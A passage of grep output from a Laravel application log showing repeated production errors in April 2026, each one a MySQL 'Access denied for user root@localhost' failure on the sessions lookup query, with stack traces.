YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = zdbnk68AbYg0SOUupSUKmdSD7bobXijLwtglHEpZ limit 1) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connection.php:831) ./storage/logs/laravel.log:[previous exception] [object] (PDOException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connectors/Connector.php:66) ./storage/logs/laravel.log:[2026-04-07 03:33:14] production.ERROR: SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = CRPp5RCGa4yHypxuDYLj6pfwYnsU2ZyCUvRS5LX1 limit 1) {"exception":"[object] (Illuminate\\Database\\QueryException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = CRPp5RCGa4yHypxuDYLj6pfwYnsU2ZyCUvRS5LX1 limit 1) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connection.php:831) ./storage/logs/laravel.log:[previous exception] [object] (PDOException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connectors/Connector.php:66) ./storage/logs/laravel.log:[2026-04-07 16:28:26] production.ERROR: SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = 2LBlWX1iCRFry008Lq1kJobkvsAdU62zVAuSUHN0 limit 1) {"exception":"[object] (Illuminate\\Database\\QueryException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = 2LBlWX1iCRFry008Lq1kJobkvsAdU62zVAuSUHN0 limit 1) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connection.php:831) ./storage/logs/laravel.log:[previous exception] [object] (PDOException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connectors/Connector.php:66) ./storage/logs/laravel.log:[2026-04-08 02:33:40] production.ERROR: SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = 6h7ijBVcw2eoIlnSpdoCgWwENxgoTQll1RJid1Y3 limit 1) {"exception":"[object] (Illuminate\\Database\\QueryException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = 6h7ijBVcw2eoIlnSpdoCgWwENxgoTQll1RJid1Y3 limit 1) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connection.php:831) ./storage/logs/laravel.log:[previous exception] [object] (PDOException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connectors/Connector.php:66) ./storage/logs/laravel.log:[2026-04-08 23:12:31] production.ERROR: SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = nNQ1wf1QFyv5cf4oghgpOATxzYOkkq2KhQ4RYVn1 limit 1) {"exception":"[object] (Illuminate\\Database\\QueryException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = nNQ1wf1QFyv5cf4oghgpOATxzYOkkq2KhQ4RYVn1 limit 1) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connection.php:831) ./storage/logs/laravel.log:[previous exception] [object] (PDOException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connectors/Connector.php:66) ./storage/logs/laravel.log:[2026-04-09 02:07:19] production.ERROR: SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = eOUPPlqLESXC16C9VOtcJiv6qJCRGPt2lEowHLzG limit 1) {"exception":"[object] (Illuminate\\Database\\QueryException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = eOUPPlqLESXC16C9VOtcJiv6qJCRGPt2lEowHLzG limit 1) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connection.php:831) ./storage/logs/laravel.log:[previous exception] [object] (PDOException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connectors/Connector.php:66) ./storage/logs/laravel.log:[2026-04-09 12:04:20] production.ERROR: SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = Yst32oLFqP6kzh1REMc2BYHv5LWl1PiuJt420TkB limit 1) {"exception":"[object] (Illuminate\\Database\\QueryException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = Yst32oLFqP6kzh1REMc2BYHv5LWl1PiuJt420TkB limit 1) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connection.php:831) ./storage/logs/laravel.log:[previous exception] [object] (PDOException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connectors/Connector.php:66) ./storage/logs/laravel.log:[2026-04-09 19:12:38] production.ERROR: SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = wzP4Osi2iYoMZjWYTqQkNVS7ZYQfK4Cv0h6q5hdi limit 1) {"exception":"[object] (Illuminate\\Database\\QueryException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = wzP4Osi2iYoMZjWYTqQkNVS7ZYQfK4Cv0h6q5hdi limit 1) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connection.php:831) ./storage/logs/laravel.log:[previous exception] [object] (PDOException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connectors/Connector.php:66) ./storage/logs/laravel.log:[2026-04-09 20:28:30] production.ERROR: SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = V3IQ157lZgoBtt4LreADl7OZjExLCP3oAPYpMgRK limit 1) {"exception":"[object] (Illuminate\\Database\\QueryException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = V3IQ157lZgoBtt4LreADl7OZjExLCP3oAPYpMgRK limit 1) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connection.php:831) ./storage/logs/laravel.log:[previous exception] [object] (PDOException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connectors/Connector.php:66) ./storage/logs/laravel.log:[2026-04-10 04:50:48] production.ERROR: SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = Nuljvq84J6YNE4x9FtvwAxM1iR6iOfbEF0Gau3DP limit 1) {"exception":"[object] (Illuminate\\Database\\QueryException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = Nuljvq84J6YNE4x9FtvwAxM1iR6iOfbEF0Gau3DP limit 1) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connection.php:831) ./storage/logs/laravel.log:[previous exception] [object] (PDOException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connectors/Connector.php:66) ./storage/logs/laravel.log:[2026-04-10 06:27:50] production.ERROR: SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = sN6lVHuwmvJqk8ukih1J7Sk0TaLzGtJcp2AvTGX3 limit 1) {"exception":"[object] (Illuminate\\Database\\QueryException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = sN6lVHuwmvJqk8ukih1J7Sk0TaLzGtJcp2AvTGX3 limit 1) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connection.php:831) ./storage/logs/laravel.log:[previous exception] [object] (PDOException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connectors/Connector.php:66) ./storage/logs/laravel.log:[2026-04-10 12:35:26] production.ERROR: SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = cyj7vTeVHRS4uQyHw5hscM2mO3octCkvXAgNZ1Uo limit 1) {"exception":"[object] (Illuminate\\Database\\QueryException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = cyj7vTeVHRS4uQyHw5hscM2mO3octCkvXAgNZ1Uo limit 1) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connection.php:831) ./storage/logs/laravel.log:[previous exception] [object] (PDOException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connectors/Connector.php:66) ./storage/logs/laravel.log:[2026-04-11 00:04:32] production.ERROR: SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = KYOvKwMKklWEYedvSTQkOYFnTBp0XhE6U139Gkeu limit 1) {"exception":"[object] (Illuminate\\Database\\QueryException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = KYOvKwMKklWEYedvSTQkOYFnTBp0XhE6U139Gkeu limit 1) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connection.php:831) ./storage/logs/laravel.log:[previous exception] [object] (PDOException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connectors/Connector.php:66) ./storage/logs/laravel.log:[2026-04-11 03:03:01] production.ERROR: SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = MORuh8btAhN9ulyxJwoxhxib6GkSTpdGHM46ajQo limit 1) {"exception":"[object] (Illuminate\\Database\\QueryException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = MORuh8btAhN9ulyxJwoxhxib6GkSTpdGHM46ajQo limit 1) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connection.php:831) ./storage/logs/laravel.log:[previous exception] [object] (PDOException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connectors/Connector.php:66) ./storage/logs/laravel.log:[2026-04-11 04:50:05] production.ERROR: SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = jksmigSWoHZytJ0Akxy7JLG8E9JF2HIA9MBuanBe limit 1) {"exception":"[object] (Illuminate\\Database\\QueryException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = jksmigSWoHZytJ0Akxy7JLG8E9JF2HIA9MBuanBe limit 1) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connection.php:831) ./storage/logs/laravel.log:[previous exception] [object] (PDOException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connectors/Connector.php:66) ./storage/logs/laravel.log:[2026-04-11 12:23:59] production.ERROR: SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = 0axjfKlbWKtt1crCfaZ6SaAhBpFyhVZ1OBihpQ4F limit 1) {"exception":"[object] (Illuminate\\Database\\QueryException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = 0axjfKlbWKtt1crCfaZ6SaAhBpFyhVZ1OBihpQ4F limit 1) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connection.php:831) ./storage/logs/laravel.log:[previous exception] [object] (PDOException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connectors/Connector.php:66) ./storage/logs/laravel.log:[2026-04-11 16:07:14] production.ERROR: SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = fttxDGfETkLEIEZx69kOBkCKFjX0UQG5ltjQnFAX limit 1) {"exception":"[object] (Illuminate\\Database\\QueryException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = fttxDGfETkLEIEZx69kOBkCKFjX0UQG5ltjQnFAX limit 1) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connection.php:831) ./storage/logs/laravel.log:[previous exception] [object] (PDOException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connectors/Connector.php:66) ./storage/logs/laravel.log:[2026-04-11 17:19:24] production.ERROR: SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = 5E3ufAuWhSkZkqqWZEY0CVYwAX0Pd6T1xIF1e3tY limit 1) {"exception":"[object] (Illuminate\\Database\\QueryException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = 5E3ufAuWhSkZkqqWZEY0CVYwAX0Pd6T1xIF1e3tY limit 1) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connection.php:831) ./storage/logs/laravel.log:[previous exception] [object] (PDOException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connectors/Connector.php:66) ./storage/logs/laravel.log:[2026-04-12 02:04:34] production.ERROR: SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = 2SjvdvflS4FUkk05SUVlpqyviE2kNUHaMEjXsxCF limit 1) {"exception":"[object] (Illuminate\\Database\\QueryException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = 2SjvdvflS4FUkk05SUVlpqyviE2kNUHaMEjXsxCF limit 1) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connection.php:831) ./storage/logs/laravel.log:[previous exception] [object] (PDOException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connectors/Connector.php:66) ./storage/logs/laravel.log:[2026-04-12 19:03:07] production.ERROR: SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = on3Mg8Rnjbfha4mD54WklYh0hZ9boqa2vxl9mWGG limit 1) {"exception":"[object] (Illuminate\\Database\\QueryException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = on3Mg8Rnjbfha4mD54WklYh0hZ9boqa2vxl9mWGG limit 1) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connection.php:831) ./storage/logs/laravel.log:[previous exception] [object] (PDOException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connectors/Connector.php:66) ./storage/logs/laravel.log:[2026-04-12 21:04:33] production.ERROR: SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = Pan9eFrQGWEsDMIbbiYllPDP1SInZn6usTfcIDfk limit 1) {"exception":"[object] (Illuminate\\Database\\QueryException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = Pan9eFrQGWEsDMIbbiYllPDP1SInZn6usTfcIDfk limit 1) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connection.php:831) ./storage/logs/laravel.log:[previous exception] [object] (PDOException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connectors/Connector.php:66) ./storage/logs/laravel.log:[2026-04-13 01:47:13] production.ERROR: SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = rb8yXzbEUHUBlcxawkClNYqupVyashlM8vlLVq8T limit 1) {"exception":"[object] (Illuminate\\Database\\QueryException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = rb8yXzbEUHUBlcxawkClNYqupVyashlM8vlLVq8T limit 1) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connection.php:831) ./storage/logs/laravel.log:[previous exception] [object] (PDOException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connectors/Connector.php:66) ./storage/logs/laravel.log:[2026-04-13 22:52:12] production.ERROR: SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = DGaekIJjAQCdXRkRNT1vZcYktCWldABQMeUHnzI9 limit 1) {"exception":"[object] (Illuminate\\Database\\QueryException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = DGaekIJjAQCdXRkRNT1vZcYktCWldABQMeUHnzI9 limit 1) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connection.php:831) ./storage/logs/laravel.log:[previous exception] [object] (PDOException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connectors/Connector.php:66) ./storage/logs/laravel.log:[2026-04-15 08:28:37] production.ERROR: SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = sOqWhg9N4M4IRE1ilrjjdFsNlhEVwhHwU8a0014c limit 1) {"exception":"[object] (Illuminate\\Database\\QueryException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = sOqWhg9N4M4IRE1ilrjjdFsNlhEVwhHwU8a0014c limit 1) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connection.php:831) ./storage/logs/laravel.log:[previous exception] [object] (PDOException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connectors/Connector.php:66) ./storage/logs/laravel.log:[2026-04-15 20:00:45] production.ERROR: SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = 8WhrNbjVnA6t2XZymqJp1jN6TLam9pnhsy6hy58T limit 1) {"exception":"[object] (Illuminate\\Database\\QueryException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = 8WhrNbjVnA6t2XZymqJp1jN6TLam9pnhsy6hy58T limit 1) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connection.php:831) ./storage/logs/laravel.log:[previous exception] [object] (PDOException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connectors/Connector.php:66) ./storage/logs/laravel.log:[2026-04-16 15:59:59] production.ERROR: SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = WQvLNP9N2yJoUEkAwAXuvt9I0yVdqVAPsYU8Sxdf limit 1) {"exception":"[object] (Illuminate\\Database\\QueryException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = WQvLNP9N2yJoUEkAwAXuvt9I0yVdqVAPsYU8Sxdf limit 1) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connection.php:831) ./storage/logs/laravel.log:[previous exception] [object] (PDOException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connectors/Connector.php:66) ./storage/logs/laravel.log:[2026-04-17 04:06:31] production.ERROR: SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = VVrX6TP6biT6RpTIgczoAbirJLc4QC6HI7Zi9Wcr limit 1) {"exception":"[object] (Illuminate\\Database\\QueryException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = VVrX6TP6biT6RpTIgczoAbirJLc4QC6HI7Zi9Wcr limit 1) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connection.php:831) ./storage/logs/laravel.log:[previous exception] [object] (PDOException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connectors/Connector.php:66) ./storage/logs/laravel.log:[2026-04-17 16:11:27] production.ERROR: SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = EH1Ep2CiI7v3htzniAHQ9qWrpfgc9resXQECRdTg limit 1) {"exception":"[object] (Illuminate\\Database\\QueryException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = EH1Ep2CiI7v3htzniAHQ9qWrpfgc9resXQECRdTg limit 1) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connection.php:831) ./storage/logs/laravel.log:[previous exception] [object] (PDOException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connectors/Connector.php:66) ./storage/logs/laravel.log:[2026-04-17 18:28:54] production.ERROR: SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = 9OMUJzssOjSAy9zNvTDJRTOBlJHwFMGmsMet7j5B limit 1) {"exception":"[object] (Illuminate\\Database\\QueryException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = 9OMUJzssOjSAy9zNvTDJRTOBlJHwFMGmsMet7j5B limit 1) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connection.php:831) ./storage/logs/laravel.log:[previous exception] [object] (PDOException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connectors/Connector.php:66) ./storage/logs/laravel.log:[2026-04-17 20:42:25] production.ERROR: SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = 4JNRZuHGYunIeGkWIRQ964hvOeUXhrESPb0toTpv limit 1) {"exception":"[object] (Illuminate\\Database\\QueryException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = 4JNRZuHGYunIeGkWIRQ964hvOeUXhrESPb0toTpv limit 1) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connection.php:831) ./storage/logs/laravel.log:[previous exception] [object] (PDOException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connectors/Connector.php:66) ./storage/logs/laravel.log:[2026-04-18 06:22:09] production.ERROR: SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = QiyrXeBCG8IKUUsn7oBW34rqrGg4RMuyp92Vj3h7 limit 1) {"exception":"[object] (Illuminate\\Database\\QueryException(code: 1045): 